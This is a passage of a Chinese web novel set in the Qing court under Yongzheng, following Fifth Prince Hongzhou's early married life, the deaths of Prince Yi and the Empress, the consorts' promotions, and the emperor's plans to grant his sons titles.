养心殿走完了之后就是去皇额娘的宫殿了,皇后早早就等着他们来了。面带笑容地受了他们的礼后,也是对着他们说了些好好过日子之类的话,又见过了端柔和惠后就捧着见面礼和赏赐出来了。 这两位拜见完了之后,弘昼就放松下来了,他去额娘那里再自在不过了,根本就不存在紧张的。 澄碧却悄悄紧张了起来。 丈夫是裕嫔娘娘亲自养的,皇额娘即便身份尊贵但到底隔了一层,一般不会为难新妇。但裕嫔娘娘是五阿哥的亲生额娘,要是不喜她的话,日后少不了要多出不少麻烦来的。 似乎是察觉到了身侧的呼吸略重了些,弘昼略微一想就明白是因为什么了。悄悄握了一下澄碧的手说道:“额娘很和气的,你不用担心。” 澄碧的额娘也是打听过宫里的这几位娘娘的,皇后娘娘威严自不必多说,熹妃娘娘和裕嫔娘娘向来同气连枝。倒也是听说过裕嫔娘娘待人和气,但到底没见过。 不过握住自己的这双手似乎也给了一点自己力量,澄碧对着弘昼轻轻笑了笑,回握了回去。 直到钟粹宫前两人才分开。 耿执羽一早就爬起来了,她仔细地装扮了自己。今儿是弘昼领新妇过来行礼的大日子,她是很重视的。 装扮好了后还不到辰时,算着小两口要先去养心殿再去坤宁宫,要耗费不少的时间。 等了许久,才听到外面传来了通报声。 “娘娘,五阿哥带着五福晋过来了。” 第124章 开府? 耿执羽满脸笑意地看着下首行礼的两人,娑鸣在一旁脸上也是同出一辙的喜意。 看着已经成婚了的弘昼,耿执羽似乎还能想起来当初他瘦瘦小小在自己怀里的样子。刚出生的时候这孩子还那么大一点,如今都已经是成婚的年纪了。 又看了看站在弘昼旁边的澄碧,脸上的笑意更甚了。当初选秀的时候耿执羽就知道这个姑娘的性子很好,长相也好,和弘昼站在一起的时候很是登对,看着倒是如神仙眷侣一般。 孩子们起来后,澄碧又接过了宫女手中的茶奉上。 耿执羽接过茶后喝了一口,给了娑鸣一个眼神。不多时,便有两个小宫女端着托盘进来了。 将手中的一只通体碧玉的镯子退了下来,耿执羽拉住了澄碧的手轻柔地给她戴上:“既然已经成婚了,那就是一家人了。平日里我在这钟粹宫待着也是无趣,你倘若有空便过来陪我说说话。” 唯一一个孩子成婚,耿执羽还是很大方的,这只玉镯是她当初封嫔时的赏赐。托盘上放的都是价值连城的蜀锦,思忖着年轻的女孩子都爱漂亮,给了澄碧做衣裳的。 “坐吧。”将镯子给了澄碧后,耿执羽笑道,“在我这钟粹宫中你就不必太过拘束了,从前我也是想要得个女儿能随时伴在身边的。但无奈却得了个皮猴儿,日后倘若他欺负了你,只管来额娘这里告状就是了。” 澄碧原本的一点见婆婆的紧张心情在耿执羽的安抚中消散了,对着耿执羽笑道:“爷……很好,哪会欺负了我呢。” “额娘怎么能这样说我,”弘昼很是不服气,“我明明很懂事了,怎么会欺负福晋呢。这果然是有了福晋,额娘就不愿疼我了。” 耿执羽轻轻觑了一眼弘昼,摇头无奈道:“还是个孩子性子呢,娑鸣你说是不是,这点醋都要吃。” 娑鸣抿唇笑,她也是从小看着弘昼长大的,内心中早就将他当成了子侄看待,此时就不说话,只是笑。 钟粹宫中的气氛柔和,耿执羽又问了些澄碧平日在家中都做什么,有什么喜好。 他们夫妇是预备着在钟粹宫用午膳了,耿执羽又叫澄碧点了两道菜才叫人去御膳房点菜。 澄碧本来是不大好意思的,但还是弘昼笑道:“别怕羞,日后要来额娘这里的次数多着呢,少不了要点菜的,今儿先适应适应。” 聊了一会后,耿执羽对这个儿媳妇的感官更不错了。她私心里还是希望弘昼能夫妻美满的,皇上和皇后的相处方式虽然不能说不好,但瞧着也不算多和谐。 倒是弘历和如今四福晋相处得很好,若是弘昼能和澄碧也这般好就好了。 都这样说了,澄碧便点了两道菜。弘昼留意了一下,自家福晋似乎是更喜欢酸甜口的菜,便也跟着点了一道松鼠桂鱼。 耿执羽这里用膳的规矩和弘昼的差不多,他们母子俩都不喜欢宫里繁琐的规矩。对于侍膳宫女这样的职位早就撤了,都是自己夹着吃饭的。 在钟粹宫待到了下午,弘昼打了个哈欠便带着澄碧告辞了。他们院子还有一堆事情要做呢,澄碧要清点她的嫁妆入库,弘昼也预备着将自己院子的小账本和库房交给澄碧来管着。 回到阿哥所后,弘昼突然觉得院子便逼仄了不少。 阿哥所的院子本就不算大,但住上一家人还是绰绰有余的,但这里的一家人是不包括也要住在这里的下人的。之前弘昼自己在这里住,加上院中的下人倒是还算宽敞。 但如今澄碧嫁进来了,内务府已经分派了伺候福晋的新人过来。除了澄碧从娘家带来的贴身丫鬟外,院中又多了十来口人,这一下子就挤了不少。 弘昼盘算着,过段日子去见汗阿玛的时候要不开口让汗阿玛把自己分出去开府算了。就算是光头阿哥的府邸,也要比阿哥所的院子宽敞不少。 回院子后,澄碧就开始清点自己的嫁妆了。 好在这些东西都是在吴扎库府的时候就已经盘点过一次,现在只用大略过一遍就能入库了。 福晋点嫁妆弘昼就帮不上什么忙了,嫁妆是女子的私产,他若是上去一起帮着点总有点奇怪的感觉。 但是看着福晋忙着,自己去睡觉似乎更奇怪。 这样想着,弘昼索性拿了本话本子在旁边看了起来。唐诗宋词明清小说这样的俗语不是没有道理的,现在坊间的小说不少。 弘昼从里面发觉了不少写得不错的,种类也很多,他现在就看到了神仙灵异类的,进京赶考类的,还有生离死别类的,用来打发时间是很不错的选择。 嫁妆点了两个时辰澄碧就大略点完了,一扭头就看到了弘昼坐在桌边眼前放着一本话本子正看得入神。 “爷,”澄碧出声,“已经要天黑了,要不要用了晚膳?” 此时已经过了一会儿平日里弘昼用膳的时间了,他回过神来看了看外面已经逐渐开始泛黑的夜色点了点头。 “传膳罢。” 不多时,晚膳就被端上来了。如今紫禁城里的主子比之先帝在时要少了许多,不论是御膳房还是内务府都伺候得更精心了些,毕竟大部分的主子都是能直接面见皇上皇后娘娘的,差事办不好被问罪了可就不好玩了。 成婚后的这两日,弘昼将自己库房和院子里的账本子也一并交给了福晋,同福晋一起对了一下账,又查验了库房里的东西。 他是略有些强迫症的,库房里的东西分门别类摆放得极好。有些什么东西他心中多少也是有数的,虽然不至于全都记得,但大略还是能记住的。 前两日忙完后,澄碧就收到了四福晋下的帖子,邀她过去叙叙话。 五阿哥的兄弟如今只有这位四阿哥了,阿玛在家中的时候还说过四阿哥多半是已经被皇上定为继承人了。所以对于这个四嫂,澄碧就要小心些对待了,既是妯娌,说不定又是日后的皇后,相处时的分寸要拿捏好了。 知道了四嫂邀了澄碧,弘昼便跟着一起去了毓庆宫,到了之后他去前面找四哥,澄碧去后院找四福晋。 “弟妹来了,”四福晋迎出了宫外,看到弘昼和澄碧联袂而来,带了些调侃道,“真真不愧是刚成婚的,竟一刻也离不得,来我这儿都要一起来。怎么,五弟是怕我这个做嫂子的欺负了弟妹不成?” 这话让澄碧略有点不自在,撇过了有些泛红的脸。 “四嫂这是哪里的话,”弘昼倒是一点也不羞涩,笑道,“我是过来找四哥的,又不参与你们妯娌直接叙话。” “你既这样说,那我就带着弟妹去后面了,你四哥在书房了。”四福晋也不和弘昼客气,笑了一声后便带着澄碧进去了。 毓庆宫整体是要比阿哥所的院子大些的,但也没大到哪儿去。加上弘历还有几个格格在毓庆宫中住着,住起来竟比弘昼和澄碧还要窄些。 那几个格格也出来见过了澄碧,澄碧微微点头回礼。 “本来我是想着你们成婚第二日就去找你的,”四福晋把澄碧迎进了正屋后,命人上茶笑道,“但想着成婚的头两日要去给几位长辈请安,还要打理院中的事务,清点嫁妆,多半你是不得空的,便没去打扰你了。算算时间,你今儿也差不多忙完了。” “是呢,”澄碧笑道,“四嫂料事如神,果真是昨儿下午才打理清楚的。” “这一辈的咱们爷都只有彼此的两个兄弟,”四福晋亲切地拉着澄碧的手说道,“咱们这妯娌自然是要更亲近了些,更别说我们额娘和耿额娘是多年的姐妹,这两位爷又是自小一起玩到大的。这入了宫日后若是有什么为难的时候,你只管派人过来找我便是了。” 四福晋是真想和这个妯娌亲近亲近,别的不提,日后五阿哥最少也是个和硕亲王了。这个妯娌也就是亲王福晋,日后身为外命妇少不得是要打交道的。 况且她心中知道自家爷重视这个五弟,她对于五弟妹自然也更重视了些。 听着四嫂的这番话,澄碧也听出了她语气中的真诚,原本客气的笑变得真心实意了起来。 两个人本来就想要和对方打好关系,彼此努力之下,气氛更加融洽了起来。 待到从毓庆宫离去的时候,澄碧对四嫂的印象已经非常好了。虽然还未见过那位传说中的熹妃娘娘,但想来额娘能交好十几年的姐妹应当也不会是难相处的。 在阿哥所生活了八日后,便到了澄碧回门的时间。 满人是第九日回门。 弘昼的婚假也快要结束了,本来一般人的婚假是只有三天的。但他死皮赖脸地冲着汗阿玛撒泼打滚才换来了九天,这天陪着福晋回门后,明日就要继续去朝堂上站桩了。 吴扎库府也为了这遭回门准备了两日了,吴扎库福晋更是早就盼着了。 等五阿哥出宫开府后澄碧回娘家或许是要方便些的,现在她居于深宫之中,出入都不方便。这回回门后,想来便要好几个月都瞧不见了。 回门礼弘昼从库房里挑出来了不少,都是些价值不菲的。新娘子回门是要给做脸子的,带的回门礼重说明新妇在夫家受重视。这个原本弘昼是不知道的,还是四哥提醒了一下,他回来就翻了库房备好了东西。 不止弘昼,回门的前一日,耿执羽也差人送来了不少东西。怕夫妻俩都是小年轻不知道这些规矩礼仪,还专门叫了娑鸣跑了一趟,提醒他们。 除了耿执羽外,皇后那里也送了些过来,甚至熹妃也送了不少东西。 看着堆在面前的这堆东西,澄碧有点苦恼:“这些太多了,肯定不能全搬回去的。” 全搬回去少不了要两辆马车,那就太过招摇了。 “你选好的带回去就是了,”弘昼无所谓道,“若是想要全带回去也可以,叫内务府多备一辆马车就是了。” 澄碧摇头:“还是我自己选几样留着吧。” 选好了回门礼,第二日的时候弘昼和澄碧早早就起来了。 弘昼肯定是要跟着福晋回门的,在外面要给伴侣最大的面子,他不记得是从什么时候看到的这句话了,但他心里是有点认同的。 吴扎库福晋也是一早就等着了,她想要趁着回门的这天问问女儿在宫里的处境如何。若是过得好便不说什么了,若是过得不好她也好给女儿出出主意。 等到了吴扎库府,弘昼去了前院和伍什说话,而澄碧则去了后院同额娘还有嫂子说话。 吴扎库福晋先是拉着澄碧的手上上下下地打量着她,见她身上的料子是明显的蜀锦,又非自家陪嫁过去的时候脸上就带上了笑意。又见她面色红润,脸上自然地带着笑意,不见丝毫的愁苦之色就更放心了。 “你这几日过得如何?”吴扎库福晋的手还搭在澄碧的手上问道。 澄碧朝着额娘笑了笑说道:“过得极好,裕嫔娘娘很是好相处,四嫂也是极好相处的人。女儿如今在宫中过得不错,额娘不必在家中担忧。” “那五阿哥呢?”澄碧的嫂子问道,“五阿哥待你好不好?” 婆婆嫂嫂好自然也是好的,但最好的还是要夫妻之间的关系好。 澄碧听到这话,略有些羞涩地笑了笑:“五阿哥……待我也好。” 吴扎库福晋一直观察着女儿神色,见她说话间没有一丝勉强,不由得脸上笑容更深了。 “既然待你好,那你也要做好福晋的本分。娘娘待你好,你要多孝敬娘娘,四福晋待你好,你也要好好和四福晋相处……”吴扎库福晋絮絮叨叨说道,“倘若嫁的是别家我们还能给你撑腰,嫁入皇家那就只能自己好好经营了。” 听着婆母的絮叨,澄碧嫂子等婆母停了唠叨才接着问道:“那五阿哥后院中……有得宠的格格吗?” 这些后宅的私密事情轻易是打听不出来的,澄碧在嫁过去之前吴扎库福晋曾担心过若是五阿哥有了个极喜欢的侍妾格格之类的,对自家女儿是不大好的。 别的不提,只说若是侍妾格格先生下了长子,这个长子又得五阿哥宠爱的话,爵位可就不一定能轮上澄碧日后的孩子了。 如今宗室中的这些王爷贝勒,有不少的继承人都是家中的庶长子的。 澄碧摇了摇头:“没有。” 听澄碧的回答,吴扎库福晋更放心了,又问了些女儿这些日子生活的细节。听起来和五阿哥颇为投缘,便满意了。 等到下午要回宫的时候,吴扎库福晋看着弘昼的眼神简直满意极了。她最怕女儿嫁到了不把福晋当人的人家中,还好这五阿哥虽然出身皇室,但并没有那起子人的陋习。 回门过后,弘昼就继续上朝了。他其实私下里觉得自己在不在朝堂上都没有什么作用,毕竟汗阿玛又不给他派差事,他自己也不想主动揽差事。 在朝堂上站着,主要起到了一个站桩的作用。 但无奈,汗阿玛根本不答应不让他不用上朝的请求,于是乎只能每天早早爬起来去乾清门外等着。 成婚后弘昼也咂摸出了点不同的滋味,如今阿哥所的院子里有人等着自己的感觉是不大一样的。他外出的时候总记得给福晋带点什么小东西,也许是一串糖葫芦,也许是一个小小的风铃。 主要是看到什么带什么。 澄碧每次都很喜欢,这些东西倒是不值什么钱,但这一份心中的惦记是最重要的。 念着自己这小院子有些挤,弘昼便想要挑个日子去汗阿玛跟前说说能不能搬出去开府的事情。 四哥不能搬出去,但他可以搬啊。 于是乎,弘昼便选了个汗阿玛多半心情不错的日子就去养心殿求见了。之所以知道汗阿玛的心情不错,盖因他上朝的时候听到了今日报的都是好消息,往上瞥一眼的时候还看到了汗阿玛脸上的笑意。 听见是弘昼求见,雍正直接叫了他进来,这小子每次求见都不是什么好事,这次也不知道是为何。 只见弘昼*带着一脸谄媚的笑走了进来,行礼过后东拉西扯关心了雍正好一阵子,直到雍正都不耐烦了开口叫他有话就直说。 “汗阿玛,”既然汗阿玛都这样说了,弘昼自然也不绕弯子了,直接道,“如今儿臣住在阿哥所的小院子实在是有些小了,现下儿臣也十八岁了,不如就直接放出去开府吧。” 雍正扶额,就知道这小子过来没好事。 要将皇子放出去开府并不是一件简单的事情,宅子倒是能在京中挑出现成的,但也免不了要重新修整一番。这花出去的银子虽然比不上重新盖一座院子,但也不算少了。还有就是照着之前的例子,放出去是要给开府的安置银子的。 这林林总总加起来就不是一笔小数目了,但雍正去年刚将他自己内库的银子给了十三去修河堤,一下子拿出来给弘昼开府的银子也不是不行,但总归还是有些吃力。 “你年纪还不大,”雍正板着脸说道,“如今身上无官无爵,怎么好直接放你出去开府。待你在朝堂上办了些差事,有了个爵位后再说这个不迟。” 不过他当初也在阿哥所住过,甚至于当时他的院子里除了福晋外还有李氏宋氏这两个格格与他同住,比之弘昼现在还要住得逼仄些。多少也明白弘昼的窘迫,便开了口将弘昼旁边的两座院子给他用。 弘昼还想争辩,便被雍正赶了出去。 好在来这一趟也不是完全没有收获,雍正虽然并未直接放他出去开府,但好歹开了口将他旁边的两座院子也给了他用。这下子,弘昼也就不存在住不开的问题了。 他自己的院子住着他和福晋,还有几位贴身的宫女太监。其余的二等三等的宫女太监就住到旁边的院子去,这下子就宽敞了不少。 回去将这件事同澄碧一说,澄碧果然也高兴了,她当初未出嫁的时候住得可比现在要宽敞不少。 解决了住处的问题,弘昼便继续开始了之前那种小日子,每天去朝堂上站桩一会。然后去大街上晃荡一阵子,带着看好的东西回去找福晋,互相诉一诉衷肠。 这样的日子过得平静又和美,但只是过了几个月,弘昼的好日子就被打破了。 无他,只因怡亲王病重了。 第125章 过世 皇上对这个十三弟的看重,可以说是朝野皆知的。 从前雍正还未登上大位的时候,表面上和怡亲王来往并不大多。但一上位就给这位在先帝手里连个贝子都没混上的幌子封了个和硕亲王,大多数的人心中也对这位爷在皇上心中的地位有了个猜测。 特别是雍正在位的这八九年来,宗室之中最受看重的也就是这位怡亲王了。甚至于雍正爱屋及乌,还给了怡亲王的长子弘昌一个贝子的爵位。 按道理来说怡亲王已经定下了第二子弘暾为世子,这个长子就只能去内务府考封,搏一个国公的爵位。这一下从国公到贝子,跳了几级不说,要知道皇上自己的两个孩子都还是光头阿哥呢。 得知自己的十三弟病了,雍正不仅亲自去看过好几回,还将太医院的太医派了大半出去。 十三爷如今年纪比雍正还要小些,刚过不惑之年。这一下病得来势汹汹,太医几次都下了不好的判断。 甚至于内务府都已经将这位亲王的寿材准备好了,当然是悄悄准备的,现在的皇上可听不得这些。 可即便雍正举国寻医,用了无数的好药材,也不过将怡亲王多留了几月。翻过年去后,这位素有侠名的王爷就溘然长逝了。 怡亲王府挂起了白,朝堂上的大臣们都夹起了尾巴做人。 皇上都缀朝三日,素服一月了,甚至将怡亲王的名字从允祥改回了胤祥,不用避尊者讳,可见其爱重。要是看到皇上这样行事都不知道要小心些的人,是混不到皇上跟前的。 因着这位王爷去世,皇上已经发落了诚亲王,只因他面无戚容,便下令夺爵,幽禁景山。 为了给怡亲王办好葬礼,将十二贝子复了郡王之位,还把弘昼打发过去帮着一起办丧事了。这个葬礼的规格虽不及国丧,但也要赶上皇后的规格了。 对十三叔的过世弘昼也是很伤心的,这位长辈对小辈们一直和蔼可亲,从前小的时候他最喜欢的就是十三叔带着弘暾上门来玩的时候了。还有跟着汗阿玛去种地的时候,十三叔见他太累了也会帮着说情。 于是乎他也拿出了最大的劲儿去想要给十三叔一个最后的体面,时人都看重身后事,十三叔也不例外,这是他这个侄子能给这位叔叔做的最后一件事了。 原本以为皇上发落几个人就已经是极限了,但众人还是低估了这位十三爷在皇上心中的印象。 十三爷的葬礼还在举行的时候,雍正就下令将怡亲王的和硕亲王爵位升为了铁帽子王,是大清开国以来的第九位铁帽子王。不仅给了配享太庙的尊荣,还令谥号为贤,这个字可谓是极大的褒奖了。 同时令其世子弘暾袭爵,还将第四子弘晈加封为了宁郡王,另外两个年纪还小的儿子都为贝勒。也就是怡亲王如今还活着的五个儿子,除了长子弘昌是贝子外,其余最低的也是贝勒。 众人都麻了,皇上您还记得你膝下有两位已经快二十了但还未有任何爵位官职的阿哥吗? 不过这位皇上都已经在头顶上顶了八九年了,大家对他这爱之欲其生恶之欲其死的性子多少也摸清楚了。只回去警告了一下家中的那些败家子,惹谁都不能惹到怡亲王府。 别的不说,现在就算是亲王惹到怡亲王府也没有好下场。君不见诚亲王一下子从和硕亲王变成了白身吗,那还是皇上的三哥呢。 等怡亲王的葬礼办完后,天气也进入了秋天,但雍正对这位十三弟的离世还是悲痛欲绝。甚至于因此还大病了一场,皇后安排了后宫为数不多的嫔妃们轮班侍疾,等雍正好起来后,嫔妃们也纷纷病了一场。 雍正身体好了继续回到朝堂上后,明显能看出对怡亲王子嗣的偏爱,给了弘暾和弘晈好几个光鲜的好差事,属于那种不需要太费力就能立功的类型- 自雍正登基以来,将后宫妃嫔们的地位定了之后就没有过大封后宫了,只有偶尔给伺候得好的答应常在升个位份,嫔位的主子们一个都没增加。甚至不仅没有增加,还过世了一个懋嫔。 如今弘历在朝堂上的位置稳如磐石,即便皇上声称不立储,将继承人的名字写在正大光明牌匾后面。但如今大多数人都已经猜到后面的这个名字了,弘昼看着也没有想要争一争的架势,雍正便预备着给钮祜禄氏晋封一下。 以此来暗示弘历的地位,还有就是嘉奖熹妃生了弘历这个好儿子。如今熹妃已经在妃位了,和她同在妃位的只有齐妃了,将她晋升一级后成了贵妃,也就成了皇后之下的第一人。 如今皇后的身子欠安,也可叫熹妃来协理六宫,好让皇后减轻一下身上的担子。 本来是只预备着封熹妃的,但雍正想到了弘昼后决定将裕嫔也带上。同是生了皇子,没道理只有熹妃受封,弘昼虽然不算多成器,但也一直没有惹出什么大乱子,也是个好孩子。 裕嫔只是嫔位,到底还太低了,即便不能给贵妃的位置,一个妃位也是配得上的。 这样想着,雍正便挑了个好日子给这两位皇子的额娘都晋了一级,册封礼定在了年节前。 弘昼和澄碧听闻这个消息的时候,脸上同时挂上了笑容。 澄碧是很喜欢这个婆母的,她空闲的时候就爱往钟粹宫去。裕嫔娘娘为人爽直,有话直说,对她这个儿媳也不曾挑剔过,甚至经常赏赐东西。 “走吧,”澄碧笑道,“咱们去给额娘和熹额娘道喜了。” 经常去钟粹宫,澄碧和这位熹额娘的交集也不算少了。她之前虽然知道两位额娘的关系不错,但也是进宫后才看到原来来往这样紧密的。 今儿你来我的景仁宫玩玩,明儿我就去你的钟粹宫瞧瞧。 弘昼也放下了手中的小玩意,拉着澄碧就往钟粹宫而去。 刚靠近钟粹宫,就发觉了外头的宫女太监们个个脸上都带着笑。晋位这样的大事,自然是要打赏宫人们的,只要是钟粹宫的人必然个个都会得了赏赐的。 一进去就看到了耿执羽红光满面的模样,唇角勾勒起了一个欣喜的笑意,见弘昼和澄碧来了后招手叫他们过来。 “儿臣恭贺额娘晋位。” “快快快,别在意这些虚礼了。”耿执羽将澄碧叫到身边,笑道,“你们夫妻是过来恭贺我的?” “是啊,”弘昼笑道,“额娘这样的大喜事,我们少不得来额娘这里讨酒喝了。” “恭贺额娘。”澄碧也笑道,“日后额娘便是妃位上的主子了。” 耿执羽脸上带着志得意满的笑,她在潜邸的时候也是讨厌齐妃的,刚进宫的时候齐妃还在她上面,见面了是要行礼的。如今齐妃已经和她平级了,日后相见不必行礼,甚至还能看着她给兮兰姐姐行礼。 “好好好,”耿执羽的眉梢眼角都带着笑,“你们两个皮猴子今儿就在这用膳,娑鸣,传令下去,钟粹宫人人都赏赐三个月的月例银子。” 钟粹宫热闹,景仁宫也不遑多让,甚至去景仁宫恭喜的人还更多些。 毕竟在年贵妃过世后,熹妃本就隐隐有皇后之下第一人的架势了,但到底当时还有个同在妃位的齐妃。可如今成了贵妃之后,这就坐实了这个位置了。 但熹贵妃还是很稳得住,她深知皇上如今看重弘历,那她和弘历的一举一动都会被皇上看见考量。不同于弘昼和耿妹妹早就无意于那个位置便可以行动自如,她和弘历有所求就要更为小心些,如此方能成为最后的胜者。 和熹贵妃一样能稳住的还有弘历和四福晋,他们行事一切如常,不论前来的人是巴结讨好还是试探都如往常对待。 只是有更多的大臣想要送族中女子进弘历的后院的,即便是当一个低微的侍妾,日后也是有可能成为一宫娘娘的。况且还白赚了个潜邸的名分,说不定能叫四阿哥日后念及这一层的情分呢。 晋位的风波到册封礼后才算结束,因为要过年了。 皇后今年给雍正侍疾后身体便一直不好,甚至这次过年也不能起身操持过年应该准备的一应事务。这些事情都交给了熹贵妃和耿执羽,她们一起商量着办了过年的事情 直到来年开春的时候皇后还是起不来床,甚至亲蚕礼这样的大事都是让熹贵妃代劳了。 这让不少人都在心中有了点底,亲蚕礼这样彰显国母身份的事情都起不来,多半是身子真的垮了。但凡只要是能起身,必然是要来的。 果不其然,在夏日刚刚来临的时候,太医院便已经委婉同雍正报了皇后的身子不大好了,又过了两月,皇后便在坤宁宫中去了。 皇后病了这么久,许多人心中都有了些猜测,雍正接到这个消息的时候只是沉默了半晌,最后将皇后的丧事交给了履郡王,宫里的事情交给了熹贵妃。 嫡母过世,弘昼心中也很是悲伤。 这位嫡母待自己一直不错,小时候每次请安的时候总是笑眯眯地关心几句,也很有边界感,从不曾叫弘昼感到为难。 这样一位长辈在知天命之年过世,虽说五十不称夭,但到底还是叫人觉得难过。 在皇后最后的日子,弘昼去床前见过这位嫡母。她的脸上并不带有灯尽油枯之人的悲凉,而是带了点淡淡的笑,已经有些认不出弘昼来了。 “弘晖……”弘昼还记得这位嫡母拉着自己的手,喃喃说道,“额娘没照顾好你,额娘要去找你了……你会怨额娘吗?” 她将这个到自己病床前看望的孩子,当成了曾经没养活的孩子。 皇后的乳母桂嬷嬷已经去了,身旁是锦悦和锦鑫哭得肝肠寸断的声音。平日里体面极了的坤宁宫掌事姑姑,如今哭得眼睛红肿如核桃。 听说皇额娘给她们寻了去处,待她过世后就放出宫去,由乌拉那拉家的人负责养老。 皇后的葬礼中规中矩的,雍正并不曾出席。他同这位发妻在生命最后的几年中,感情已经消磨得差不多了,虽有些伤心,但还不至于难以自抑。只是提拔了两个皇后的侄子,表示自己的哀思。 头顶上没了皇后,熹贵妃正式成了后宫第一人,虽不敢享皇后待遇,但手中的权势和宫中的地位已经堪比皇后了。 而雍正也打算给自己膝下的两个孩子封爵了。 第126章 老了 去岁的时候怡亲王刚去世,雍正一口气给了怡亲王的儿子们都批发了爵位,除了承袭铁帽子王爵位的弘暾外,还给弘晈封了个宁郡王的爵位,其余的儿子们最低也是贝勒。 这样的待遇已经是很罕见很不错的了,要知道太祖和太宗的不少儿子都不过是镇国公辅国公。这样提拔之下,怡亲王这一脉可极为得脸了。 同时,也有很多人注意到了皇上膝下的两个孩子都还未封爵。 物以稀为贵,和先帝有二十几个儿子不同,如今的皇上不过统共两个养活的儿子。自然就更尊贵些,不少人都猜测这两位皇子封爵会直接封个郡王,还有些人觉得多半会直接封亲王。 养心殿要给两位皇子封爵的消息一传出去,最兴奋的就是弘昼了。 封爵了别的不说,最要紧的也就是开府了。汗阿玛准备给自己封爵,是不是也准备让自己开府了。 虽说现在阿哥所住着也不逼仄了,他也能随意出入紫禁城了,但肯定还是没有自己单住方便的。 譬如每次都要算着时间回宫,宫门一落钥,他可就敲不开了。甚至不仅敲不开,还会因为夜敲宫门被御史弹劾。 前两年汗阿玛将左都御史和右都御史提成了从一品的大员,他们上折子弹劾可不管你是皇子还是郡王。只要有不对的地方,必上折子弹劾的。 弘昼就被弹劾过两三次,左右都说他不治行检,其实就是看着他在街上和二世祖们混在一起看不惯罢了。他一不欺负平民百姓,想要什么都会拿出银子来采买,二更不曾欺男霸女,也不会叫他们抓到太大的把柄。 澄碧也听到这个风声了,但这些事情在落实之前是不能大声声张的,便选了个晚上,将贴身伺候的唤琴和小周子打发出去后挨着弘昼坐下后问道。 “我如今听到风声,说汗阿玛预备着给你和四哥封爵,这事儿有没有影儿?” 成婚都已经一两年了,彼此之间熟悉得不行了。澄碧早就将新婚的羞涩给忘光了,此时对着弘昼说话的时候一点也不见扭捏之态,眼中满是好奇。 弘昼用手撑着下巴说道:“是有这么一回事儿,听礼部的人说汗阿玛在给我和四哥选封号了。” “那,那能封什么爵位?”澄碧问道,她心中想的是贝勒或者郡王的,如今的皇上在当皇子的时候最开始封的就是个贝勒。 弘昼摇头:“这个就不知道了,不过封了爵咱们就能搬出去住了,你开不开心?” “啊?”澄碧微微拧了眉,“咱们搬出去住了,那岂不是日后进宫请安就要递牌子了,那见额娘和四嫂就没有现在方便了。” 澄碧隔上一两日就会去钟粹宫瞧瞧额娘,或者去毓庆宫见见四嫂。她是个有些活泼的性子,自己待在阿哥所的时候总不大能待得住。 又见耿执羽性子爽朗,四嫂也是好说话的人便经常过去说说话玩闹一番。 “我还以为你也会想要出宫呢,”弘昼笑道,“出宫了你就能经常回娘家瞧瞧了啊。” 这话让澄碧又有点纠结了,她喜欢婆婆,但肯定更喜欢自家额娘。倘若能有两全的法子就好了,能常常见到婆婆,也能见到额娘。 嫁进来之前对裕妃的忐忑和畏惧在相处之中已经消失得一干二净了,耿执羽待儿子好,自然会爱屋及乌对儿媳也好。有时候弘昼在不懂的地方惹了福晋,还会被额娘叫去钟粹宫恨铁不成钢地骂上两句。 这一来一往之下,澄碧自然真心对耿执羽这个婆婆敬爱了起来,一心就想要好好孝顺两位额娘。婆婆没有女儿体贴,又待她如女儿,那她肯定要好好体贴额娘。 见自家福晋这样纠结的样子,弘昼憋不住笑了:“如今额娘协理六宫,你要进宫递帖子也是递到额娘或者钮祜禄额娘那里,难道你还怕这两位额娘会卡你的帖子不成?” “这倒也是,”澄碧嘟嘟囔囔,“反正就算你封爵了,开府估摸着也得等一年半载的呢,且等着吧。” 这倒也是,就算雍正这次只给两个孩子一个贝子或者贝勒的爵位,但开府的选址肯定是要能放下一座亲王府的。毕竟日后这两个孩子最低也会是个亲王,甚至其中有一个会继承紫禁城。 “我封爵了你就有诰命了,不高兴吗?” 澄碧想了一下说道:“有没有诰命的我倒也感觉不出什么差别来,只要咱们能好好过日子,诰命不诰命的倒也不重要。” 封爵这件事传了许久,过了两个月后弘昼都要怀疑其实汗阿玛只是心血来潮叫礼部拟上几个好听的字上去瞧瞧,并没有要给他们封爵的意思。 相比于弘昼,弘历就能稳住多了,他不大在意汗阿玛现在给的爵位,这几年间一定要稳住。 四福晋和弘历是一脉相承地稳,有时候出席福晋们的宴会时,对别人的试探都是四两拨千斤给堵回去的。 这样的宴会澄碧一般都是和四嫂在一起的,看四嫂面带微笑地打太极的样子都不禁在心中感叹一下,难怪宫里宫外四嫂的贤名都能传扬呢,这样的功夫她就是学十年也学不到四嫂的精髓啊。 养心殿中的雍正的确是想要给两个孩子封爵的,从十三弟走后他就觉得身体有些力不从心了。 从前有十三弟的帮衬,不论是摊丁入亩还是火耗归公的实施,总有人能站在他这一头帮他盯着。他也自信十三弟一定会站在自己身边,不论他的决策是什么。 但从十三病逝后,他身子就差了许多,去岁发妻过世后就总是不自觉地想自己的寿命是不是也快要中止了。要知道福晋可比他小了一岁呢,如今都已经去了,他的时间还长吗? 好在如今弘历也有些样子了,到时候他去了之后点上鄂尔泰和张廷玉辅佐,想来也放心将这些东西交给弘历了。 可除了弘历外,他还有个弘昼。 这个孩子从小就是个不将万事放心上的性子,等他走后这个孩子会不会犯下严重的错处。现在的弘历对兄弟不错,可以后的弘历也能这样待弘昼吗? 他在走之前,总得给这个孩子一个保障,弘昼不喜欢参与政事便不多加参与便是了。不参与政事,日后就算是糊涂些,弘历也终归能容得下这样一个糊涂的弟弟,这两兄弟之间也是有情谊的。 这样想着,雍正对两个孩子的封号已经有了定数。既然日后弘历是要继承大统的,那自己便更该偏向他些,才能叫他对弘昼这个弟弟有所怜爱,日后多加照顾。 雍正心中定下之后,便打算将弘昼派出去积攒一点功劳了,封爵多少还是要有点功劳傍身才好的。弘历之前在朝堂上办过不少的差事,这些功劳已经攒得七七八八的了,现在封弘历也并不会出现什么流言蜚语,但弘昼就不同了。 所以雍正是打算派弘昼前往河南一带,带着治水的能臣去修筑河堤,这样的功劳不能算小,等弘昼回来之后封爵便是理所当然的了。 心中知道这个小儿子并未办过差事,怕他到时候去了地方被人蒙骗,雍正连人选都给他准备好了,正是如今的江南河道总督高斌。除了将能臣准备好了外,雍正还另外挑了一队的护卫跟着弘昼出京,专程保护他的安危。 将这一切都打算好了之后,雍正才在朝会上提了一嘴要大臣们举荐这回去修河堤的钦差大臣。 弘昼照例是在原地发呆,他真觉得自己来不来朝会似乎是并不大重要的一件事,毕竟来了就是在这里听别人说话顺道发呆。主要就是起一个站桩的作用,另外一个作用可能是让汗阿玛心理平衡一点,毕竟汗阿玛一直看不得他们清闲。 